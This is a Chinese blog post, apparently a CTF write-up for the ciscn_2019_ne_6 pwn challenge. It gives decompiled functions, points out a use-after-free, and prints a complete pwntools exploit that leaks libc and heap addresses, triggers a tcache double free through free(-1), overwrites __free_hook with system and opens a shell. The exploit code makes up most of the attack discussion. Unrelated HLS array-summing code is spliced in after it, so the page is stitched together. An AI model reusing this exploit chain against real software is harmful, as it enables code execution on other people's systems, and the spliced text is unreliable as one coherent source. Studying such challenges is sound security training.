利用全局chunk数组,free(负数)来实现tcache double free

36 篇文章 0 订阅
18 篇文章 1 订阅
本文介绍了一个CISCN_2019_NE_6的漏洞利用过程,涉及全局chunk数组、free()负数指针、TCacheDoubleFree等概念。通过分配、释放、再分配chunk,实现UAF并泄露libc地址,最终利用TCacheDoubleFree篡改`__free_hook`,执行任意代码。
摘要由CSDN通过智能技术生成

例题 ciscn_2019_ne_6

利用全局chunk数组,free(负数)来实现tcache double free

在这里插入图片描述

保护全开

在这里插入图片描述

四个功能增删查改

main函数

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  set();
  sett();
  while ( 1 )
  {
    menu();
    switch ( off_1424 )
    {
      case 1u:
        show();
        break;
      case 2u:
        root();
        add();
        break;
      case 3u:
        root();
        edit();
        break;
      case 4u:
        root();
        delete();
        break;
      case 5u:
        puts("Bye");
        exit(0);
        return;
      default:
        puts("Invaild");
        break;
    }
  }
}

add函数

最多申请10个chunk

unsigned __int64 sub_1053()
{
  __int64 chunk; // rbx
  __int64 index; // [rsp+0h] [rbp-20h]
  int indexa; // [rsp+0h] [rbp-20h]
  int size; // [rsp+4h] [rbp-1Ch]
  unsigned __int64 v5; // [rsp+8h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  LODWORD(index) = 0;
  while ( index <= 9 && *(16LL * index + heap) )
    LODWORD(index) = index + 1;
  if ( index == 10 )                            // 最多申请10个chunk
  {
    puts("Full");
  }
  else
  {
    printf("size:", index);
    size = my_read();
    if ( size > 0 )
    {
      *(16LL * indexa + heap) = size;
      chunk = heap;
      *(chunk + 16LL * indexa + 8) = malloc(size);
      printf("Content:");
      my_read1(*(16LL * indexa + heap + 8), size);
      printf("addr: %p\n", *(16LL * indexa + heap + 8) & 0xFFFLL);
    }
    else
    {
      puts("No No No size must be greater than 0");
    }
  }
  return __readfsqword(0x28u) ^ v5;
}

delete函数

存在UAF

unsigned __int64 sub_12B8()
{
  int index; // [rsp+Ch] [rbp-14h]
  void *ptr; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("index:");
  index = my_read();
  if ( index >= 0 && index <= 9 )
  {
    ptr = *(16LL * index + heap + 8);
    *(16LL * index + heap) = 0LL;
    *(16LL * index + heap + 8) = 0LL;
  }
  if ( ptr )
    free(ptr);                                  // uaf
                                                // 
  return __readfsqword(0x28u) ^ v3;
}

show函数和edit函数没有什么特别的地方
还需要注意一个root函数
变量s2在全局chunk数组附近

unsigned __int64 sub_F0D()
{
  char s; // [rsp+0h] [rbp-30h]
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(&s, 0, 0x28uLL);
  printf("passwd:", 0LL);
  my_read1(&s, 0x28);
  if ( !strncmp(&s, s2, 0x28uLL) )
    printf("I will tell you magic's address: %p\n", s2);
  else
    puts("No No No you are not root.");
  return __readfsqword(0x28u) ^ v2;
}

在这里插入图片描述

思路

分配一个chunk,free后进入unsorted bin,再次申请不填写内容chunk,泄露libc,之后利用uaf和实现tcache double free,劫持free_hook,这其中需要泄露heap地址,我们在泄露libc后用a覆盖main_arena+96直至heap地址泄露heap地址

部分代码

from pwn import *
context(endian='little',os='linux',arch='amd64',log_level='debug')
sh = process('./ciscn_2019_ne_6')
elf = ELF('./ciscn_2019_ne_6')
libc = ELF('/home/pwn/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
#sh = remote('node4.buuoj.cn', 29556)  
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims		    :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data)) 
def dbg():
        gdb.attach(sh)
        pause()
def show():
    sla(b'>> ', b'1')
def add(size,text='a',passwd='\x00'):
    sla(b'>> ', b'2')
    sla(b'passwd:', passwd)  
    sla('size:',str(size))
    sla('Content:',text)
def edit(index,text,passwd='\x00'):
    sla(b'>> ', b'3')
    sla(b'passwd:', passwd)  
    sla('index:',str(index))
    sla('Content:',text)
def free(index,passwd=b'a\n'):
    sla(b'>> ', b'4')
    sa(b'passwd:', passwd)
    sla('index:',str(index))
add(0x500)#0
add(0x30)#1
add(0x30)#2
free(0)
add(0x18,'')#0
show()
ru('0: ')
libc_base = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))-0x3ebca0-0x430
system  = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
lg('libc_base',libc_base)
 
edit(0,b'a'*0x11)
show()
ru(b"a"*0x10)
heap = u64(sh.recvuntil('\n',drop=True).ljust(8,b'\x00'))-0x361
lg("heap",heap)
dbg()

在这里插入图片描述

exp

from pwn import *
context(endian='little',os='linux',arch='amd64',log_level='debug')
sh = process('./ciscn_2019_ne_6')
elf = ELF('./ciscn_2019_ne_6')
libc = ELF('/home/pwn/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
#sh = remote('node4.buuoj.cn', 29556)  
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims		    :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data)) 
def dbg():
        gdb.attach(sh)
        pause()
def show():
    sla(b'>> ', b'1')
def add(size,text='a',passwd='\x00'):
    sla(b'>> ', b'2')
    sla(b'passwd:', passwd)  
    sla('size:',str(size))
    sla('Content:',text)
def edit(index,text,passwd='\x00'):
    sla(b'>> ', b'3')
    sla(b'passwd:', passwd)  
    sla('index:',str(index))
    sla('Content:',text)
def free(index,passwd=b'a\n'):
    sla(b'>> ', b'4')
    sa(b'passwd:', passwd)
    sla('index:',str(index))
add(0x500)#0
add(0x30)#1
add(0x30)#2
free(0)
add(0x18,'')#0
show()
ru('0: ')
libc_base = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))-0x3ebca0-0x430
system  = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
lg('libc_base',libc_base)
 
edit(0,b'a'*0x11)
show()
ru(b"a"*0x10)
heap = u64(sh.recvuntil('\n',drop=True).ljust(8,b'\x00'))-0x361
lg("heap",heap)
 
add(0x4e0)
free(2)
free(1)
add(0x30,'')#2

free(-1,b'\x00'*0x20+p64(heap+0x860))

add(0x30,p64(free_hook))#3
add(0x30,'/bin/sh\x00')#4
add(0x30,p64(system))#5
free(4)
itr()
HLS (High-Level Synthesis) 是一种将高级语言代码转换为硬件电路的技术。在HLS中,可以使用并行化技术来实现加速计算。以下是一个简单的例子,演示如何使用并行化技术实现输入数组的相加。 假设我们有一个包含 N 个元素的数组 A,我们想要将这些元素相加得到一个结果 S。我们可以将数组 A 分成 p 个部分,每个部分包含 N/p 个元素。然后,我们可以使用 p 个加法器并行地将这些部分相加。最后,将所有 p 个加法器的输出相加,得到最终的结果 S。 如下是使用 HLS 实现输入数组的并行相加的示例代码: ```c++ #include "ap_int.h" // 定义加法器 ap_int<32> adder(ap_int<32> a, ap_int<32> b) { return a + b; } void sum_array(ap_int<32> A[1024], int N, ap_int<32>& S) { // 将数组 A 分成 4 个部分,每个部分包含 N/4 个元素 int p = 4; int chunk_size = N / p; // 使用并行化技术计算数组的和 ap_int<32> sum[p]; #pragma HLS array_partition variable=sum complete for (int i = 0; i < p; i++) { sum[i] = 0; for (int j = 0; j < chunk_size; j++) { sum[i] = adder(sum[i], A[i * chunk_size + j]); } } // 将所有部分的和相加 S = 0; for (int i = 0; i < p; i++) { S = adder(S, sum[i]); } } ``` 在这个例子中,我们首先定义了一个 adder 函数来实现加法器。然后,我们定义了一个名为 sum_array 的函数,该函数接受一个包含 N 个元素的数组 A 和一个指向结果 S 的指针。在函数中,我们将数组 A 分成 p 个部分,并使用并行化技术计算数组的和。最后,我们将所有部分的和相加,得到最终的结果 S。 在 HLS 中,我们可以使用 #pragma HLS array_partition 指令来将数组分割成多个部分,从而实现并行化计算。在这个例子中,我们使用 #pragma HLS array_partition variable=sum complete 将 sum 数组分割成 4 个部分,以便并行计算。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值